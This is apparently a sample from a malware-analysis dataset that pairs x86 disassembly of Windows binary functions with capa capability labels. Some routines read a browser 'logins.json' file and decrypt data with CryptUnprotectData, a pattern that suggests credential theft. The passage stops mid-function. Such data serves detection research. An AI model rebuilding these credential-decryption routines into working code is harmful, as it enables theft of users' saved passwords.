joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10086530
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, edx
push ebx
push esi
push edi
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
call fcn.100c13f3
mov edi, dword [ebp - 0x1c]
add esp, 4
mov ebx, eax
push edi
push 0
push ebx
call fcn.100bd8d0
mov eax, edi
add esp, 0xc
xor esi, esi
test al, 3
jne 0x100865e0
xor edx, edx
test eax, eax
je 0x100865e0
mov al, byte [edx + 0x10101e60]
cmp al, 0x3d
je 0x100865e0
cmp al, 0x2b
jl case.default.0x1008659b
cmp al, 0x7a
jg case.default.0x1008659b
movsx eax, al
mov cl, byte [eax + 0x100f6520]
cmp cl, 0xff
je case.default.0x1008659b
mov eax, edx
and eax, 3
jmp dword [eax*4 + 0x10086698]
shl cl, 2
mov byte [esi + ebx], cl
jmp 0x100865d7
mov al, cl
shr al, 4
and al, 3
or byte [esi + ebx], al
inc esi
shl cl, 4
mov byte [esi + ebx], cl
jmp 0x100865d7
mov al, cl
shr al, 2
and al, 0xf
or byte [esi + ebx], al
inc esi
shl cl, 6
mov byte [esi + ebx], cl
jmp 0x100865d7
or byte [esi + ebx], cl
lea eax, [esi + ebx]
inc esi
inc edx
cmp edx, edi
jb 0x10086576
jmp 0x100865e0
xor esi, esi
lea edi, [esi - 5]
push edi
call fcn.100c13f3
add esp, 4
mov dword [ebp - 0x1c], eax
push edi
push 0
push eax
call fcn.100bd8d0
add esp, 0xc
cmp esi, 5
mov esi, dword [ebp - 0x1c]
jbe 0x10086611
lea ecx, [ebx + 5]
push edi
push ecx
push esi
call fcn.100bda90
add esp, 0xc
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x10086683
mov edi, dword [ebp - 0x18]
test edi, edi
je 0x10086652
mov esi, dword [ebp - 0x14]
mov edx, edi
mov ecx, dword [ebp - 0x20]
sub esi, ecx
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x10086644
mov eax, dword [ebp - 0x20]
push ebx
mov byte [edi + eax], 0
call fcn.100c13d8
add esp, 4
push dword [ebp - 0x1c]
call fcn.100c13d8
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
Function at 0x1008a610
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
lea ecx, [ebp - 0x20]
push esi
push edi
add eax, 0xc
mov dword [ebp - 0x10], 0
push eax
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
call fcn.100b1a80
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, esi
cmovae ecx, dword [ebp + 8]
mov edi, dword [ebp + 0x18]
mov edx, dword [ebp - 0x10]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008a683
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008a693
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x20]
push dword [ebp - 8]
push edi
call fcn.100b0560
push str.logins.json
lea ecx, [ebp - 0x20]
call fcn.100ae850
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.100ae910
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x1008a6e0
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008a6d6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008a7d4
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x100f7320
cmovae eax, dword [ebp + 8]
push eax
call fcn.100c4b2d
add esp, 8
test eax, eax
je 0x1008a794
push eax
call fcn.100c4bbb
push 0x186a0
call fcn.100c13f3
add esp, 8
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov esi, eax
cmovae ecx, dword [ebp + 8]
push 0
push 0x80
push 4
push 0
push 7
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1008a752
push 0
lea ecx, [ebp - 8]
push ecx
push 0x186a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008a782
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008a778
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008a7d9
push edx
push ecx
call fcn.100baf94
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008a7c4
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008a7ba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008a7de
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
int3
Function at 0x1009e4c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x400
lea eax, [ebp - 0x404]
mov esi, ecx
push 0
push eax
call fcn.100bd8d0
add esp, 0xc
mov dword [ebp - 0x408], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x40c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1009e546
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x408]
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x404]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [esi], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1009e570
sub ecx, edx
lea eax, [ebp - 0x404]
push ecx
push eax
mov ecx, esi
call fcn.100af160
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1009e5b8
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009e5ae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009e60b
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x1009e5fa
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009e5f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009e60b
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100c79a0
int3
Function at 0x100a1b10
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x100ff990]
push ebx
push esi
mov esi, ecx
mov ecx, dword [0x100ff994]
mov dword [ebp - 0x30], esi
push edi
cmp edx, ecx
jne 0x100a1b5f
mov dword [esi], 0
mov eax, esi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov eax, ecx
xor ebx, ebx
sub eax, edx
mov dword [ebp - 0x28], ebx
xor edi, edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], edi
lea edx, [eax - 1]
xor eax, eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], eax
test edx, edx
je 0x100a1bc0
cmp edx, 0x7fffffff
ja 0x100a1cbb
push edx
lea ecx, [ebp - 0x10]
call fcn.100b32e0
mov ebx, dword [ebp - 0x34]
push ebx
push edi
mov edi, dword [ebp - 0x10]
push edi
call fcn.100bd8d0
mov ecx, dword [0x100ff994]
lea eax, [ebx + edi]
mov ebx, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
sub ecx, dword [0x100ff990]
mov edx, 1
sub ecx, edx
je 0x100a1bee
mov ebx, dword [ebp - 0x24]
mov esi, dword [0x100ff990]
lea edx, [edx + 1]
mov al, byte [esi + edx - 1]
mov byte [ebx + edx - 2], al
sub ecx, 1
jne 0x100a1bd2
mov ebx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
sub eax, edi
mov dword [ebp - 0x1c], edi
inc eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x100a1c6a
xor esi, esi
mov ecx, edi
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x18], esi
jbe 0x100a1c4e
mov eax, dword [ebp - 0x14]
add eax, esi
cmp ecx, ebx
je 0x100a1c35
mov al, byte [eax]
mov byte [ecx], al
inc ecx
mov dword [ebp - 0xc], ecx
jmp 0x100a1c45
push eax
push ecx
lea ecx, [ebp - 0x10]
call fcn.100afc60
mov ebx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x100a1c22
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov dword [eax], edi
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
test edi, edi
je 0x100a1ca8
sub ebx, edi
mov eax, edi
cmp ebx, 0x1000
jb 0x100a1c9e
mov edi, dword [edi - 4]
add ebx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a1cc0
push ebx
push edi
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100b1a20
call fcn.100c79a0
int3
Function at 0x100a1cd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
mov dword [ebp - 0x220], ecx
push edi
cmp esi, ebx
je 0x100a1dac
mov eax, dword [ebx]
mov ebx, dword [ebx + 4]
mov ecx, dword [esi + 8]
sub ebx, eax
mov edi, dword [esi]
sub ecx, edi
mov dword [ebp - 0x21c], eax
cmp ebx, ecx
jbe 0x100a1d9b
cmp ebx, 0x7fffffff
ja 0x100a1e65
mov edx, ecx
mov eax, 0x7fffffff
shr edx, 1
sub eax, edx
cmp ecx, eax
jbe 0x100a1d38
mov dword [ebp - 0x218], ebx
jmp 0x100a1d46
lea eax, [edx + ecx]
cmp eax, ebx
cmovb eax, ebx
mov dword [ebp - 0x218], eax
test edi, edi
je 0x100a1d86
cmp ecx, 0x1000
jb 0x100a1d68
mov edx, dword [edi - 4]
add ecx, 0x23
sub edi, edx
lea eax, [edi - 4]
cmp eax, 0x1f
ja 0x100a1e6a
mov edi, edx
push ecx
push edi
call fcn.100baf94
mov dword [esi], 0
add esp, 8
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push dword [ebp - 0x218]
mov ecx, esi
call fcn.100b32e0
mov edi, dword [esi]
mov eax, dword [ebp - 0x21c]
push ebx
push eax
push edi
call fcn.100be470
lea eax, [ebx + edi]
add esp, 0xc
mov dword [esi + 4], eax
cmp dword [ebp + 0x20], 0x10
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x200
push ecx
push 0
lea eax, [ebp + 0xc]
cmovae eax, dword [ebp + 0xc]
push 0
push eax
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100a1e24
xor edi, edi
cmp dword [ebp - 0x210], edi
jbe 0x100a1e24
nop
mov cl, byte [ebp + edi - 0x20c]
mov eax, dword [esi + 4]
mov byte [ebp - 0x211], cl
cmp eax, dword [esi + 8]
je 0x100a1e0c
mov byte [eax], cl
inc dword [esi + 4]
jmp 0x100a1e1b
lea ecx, [ebp - 0x211]
push ecx
push eax
mov ecx, esi
call fcn.100afc60
inc edi
cmp edi, dword [ebp - 0x210]
jb 0x100a1df0
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x100a1e54
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1e4a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a1e6a
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100b1a20
call fcn.100c79a0
int3
Function at 0x100a6ce0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
sub esp, 0x18
mov ecx, esp
push 0x100fded8
call fcn.100ae9d0
lea ecx, [ebp - 0x4c]
call fcn.10083b80
add esp, 0x18
push eax
push ecx
lea ecx, [ebp - 0x34]
call fcn.10085f50
add esp, 4
lea ecx, [ebp - 0x1c]
mov edx, eax
call fcn.100af560
mov edx, dword [ebp - 0x20]
add esp, 4
cmp edx, 0x10
jb 0x100a6d58
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a6d4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a6e09
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp edx, 0x10
jb 0x100a6d9a
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a6d90
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a6e09
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100a6dcb
test al, 0x10
je 0x100a6dcb
sub esp, 0x18
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.100ae9d0
call fcn.100a5e00
add esp, 0x18
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x100a6dfb
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a6df1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a6e0e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100c79a0
call fcn.100c79a0
int3
Function at 0x100b06c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x100b06f1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x100b06e0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x100d935e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100d91d4
Function at 0x401520
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2cc
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x2c8], eax
push ebx
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x4001
push 0x160
lea eax, [esp + 0x18]
push eax
push 0
push 0x45a0b4
call ebx
push eax
mov ecx, esi
call fcn.0041a281
push 0x4100
push 0x160
lea ecx, [esp + 0x178]
push ecx
push 0
push 0x45a0b4
call ebx
push eax
mov ecx, edi
call fcn.0041a281
mov ecx, dword [esp + 0x2d4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00435417
mov esp, ebp
pop ebp
ret 8

Function at 0x401890
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x170
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x16c], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
test eax, eax
push esi
mov esi, dword [ebp + 8]
mov dword [esp + 0xc], ebx
jne 0x4018c1
lea eax, [ecx + 0x18]
jmp 0x4018d0
push eax
lea ecx, [esp + 0x10]
call fcn.004029f0
mov ebx, 1
mov edx, dword [eax]
push 0x400
push 0x160
lea ecx, [esp + 0x18]
push ecx
push 0
push edx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test bl, 1
je 0x40190f
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40190f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x120]
push ecx
mov ecx, esi
call fcn.004029f0
mov ecx, dword [esp + 0x174]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00435417
mov esp, ebp
pop ebp
ret 8

Function at 0x401940
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x170
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x16c], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
test eax, eax
push esi
mov esi, dword [ebp + 8]
mov dword [esp + 0xc], ebx
jne 0x401971
lea eax, [ecx + 0x18]
jmp 0x401980
push eax
lea ecx, [esp + 0x10]
call fcn.004029f0
mov ebx, 1
mov edx, dword [eax]
push 0x200
push 0x160
lea ecx, [esp + 0x18]
push ecx
push 0
push edx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test bl, 1
je 0x4019bf
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4019bf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x1c]
push ecx
mov ecx, esi
call fcn.004029f0
mov ecx, dword [esp + 0x174]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00435417
mov esp, ebp
pop ebp
ret 8
Function at 0x4019f0
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x16c
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x168], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
test eax, eax
mov dword [esp + 4], ebx
jne 0x401a1d
lea eax, [ecx + 0x18]
jmp 0x401a2c
push eax
lea ecx, [esp + 8]
call fcn.004029f0
mov ebx, 1
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax]
or ecx, 0x4000
push ecx
push 0x160
lea edx, [esp + 0x10]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test bl, 1
je 0x401a70
mov eax, dword [esp + 4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401a70
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x16c]
mov eax, dword [esp + 0xc]
pop ebx
xor ecx, esp
call fcn.00435417
mov esp, ebp
pop ebp
ret 8

Function at 0x4022e0
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x168
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x164], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ecx
push 0x160
lea edx, [esp + 8]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [esp + 0x164]
mov eax, dword [esp + 4]
xor ecx, esp
call fcn.00435417
mov esp, ebp
pop ebp
ret 8

Function at 0x402ca0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402cb9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402cf4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402cf0
lea ebx, [ebx]
cmp esi, eax
jae 0x402cf4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402ce0
cmp esi, eax
jb 0x402cfa
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x406ba0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x148], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ebx
mov edi, ecx
lea ecx, [esi + 1]
mov al, byte [esi]
add esi, 1
test al, al
jne 0x406bc7
sub esi, ecx
jne 0x406bed
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x148]
xor ecx, esp
call fcn.00435417
mov esp, ebp
pop ebp
ret 4
mov eax, dword [edi + 0x10]
test eax, eax
je 0x406c04
push eax
call fcn.00419845
add esp, 4
mov dword [edi + 0x10], 0
add esi, 1
push esi
call fcn.0041984a
push esi
push 0
push eax
mov dword [edi + 0x10], eax
call fcn.00437860
mov eax, dword [edi + 0x10]
push ebx
push esi
push eax
call fcn.00436837
push 0x140
lea ecx, [esp + 0x30]
push 0
push ecx
call fcn.00437860
add esp, 0x28
lea edx, [esp + 0x10]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x406c5d
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
jmp 0x406c64
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x154]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00435417
mov esp, ebp
pop ebp
ret 4
Function at 0x407980
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x108
mov eax, dword [0x46a860]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
mov ebp, dword [esp + 0x110]
push esi
push edi
mov edi, ebp
mov al, byte [edi]
test al, al
je 0x4079ce
cmp al, 0x5c
je 0x4079ce
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x4079a6
mov ecx, dword [esp + 0x110]
pop edi
pop esi
pop ebp
xor ecx, esp
mov al, 1
call fcn.00435417
add esp, 0x108
ret
cmp byte [edi], 0
je 0x4079b4
mov esi, edi
sub esi, ebp
test esi, esi
jle 0x407a10
push esi
lea eax, [esp + 0x10]
push ebp
push eax
call fcn.00436b47
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
mov byte [esp + esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407a03
test al, 0x10
jne 0x407a10
push 0
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add edi, 1
jmp 0x4079a0
Function at 0x408208
Capabilities:
Copy file

Disassembly:
sub esp, 8
cmp dword [esp + 0xc], 0
push esi
mov esi, ecx
mov dword [esp + 4], esi
je 0x408387
cmp dword [esi + 0x34], 0
je 0x40837c
push ebx
push ebp
mov ebp, dword [esi + 0x14]
push edi
lea ecx, [ebp + 1]
mov al, byte [ebp]
add ebp, 1
test al, al
jne 0x408228
sub ebp, ecx
add ebp, 0x200
push ebp
call fcn.0041984a
push ebp
mov ebx, eax
call fcn.0041984a
push 0x24
mov dword [esp + 0x20], eax
call fcn.0041981a
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov dword [esp + 0x28], eax
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x34]
add esp, 0xc
push eax
lea edi, [esp + 0x20]
call fcn.00404f10
test eax, eax
je 0x40836c
jmp 0x408290
push ebp
push 0
push ebx
call fcn.00437860
mov eax, dword [esp + 0x20]
push ebp
push 0
push eax
call fcn.00437860
mov ecx, dword [esi + 0xc]
push ecx
push ebp
push ebx
call fcn.00436837
mov esi, dword [esp + 0x40]
mov edx, dword [esi + 0x10]
push edx
push ebp
push ebx
call fcn.004369f5
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 0x14]
mov edi, dword [esp + 0x44]
push ecx
push ebp
push edi
call fcn.00436837
mov edx, dword [esi + 0x14]
push edx
push ebp
push edi
call fcn.004369f5
add esp, 0x48
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [esi + 0x10]
xor edi, edi
cmp eax, edi
je 0x408300
push eax
call fcn.00419845
add esp, 4
mov dword [esi + 0x10], edi
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x408313
push eax
call fcn.00419845
add esp, 4
mov dword [esi + 0x14], edi
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x408326
push eax
call fcn.00419845
add esp, 4
mov dword [esi + 0x18], edi
xor eax, eax
mov dword [esi + 4], 3
mov dword [esi], 4
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x34]
push eax
lea edi, [esp + 0x20]
call fcn.00404f10
test eax, eax
mov esi, dword [esp + 0x10]
jne 0x408290
mov ecx, dword [esp + 0x1c]
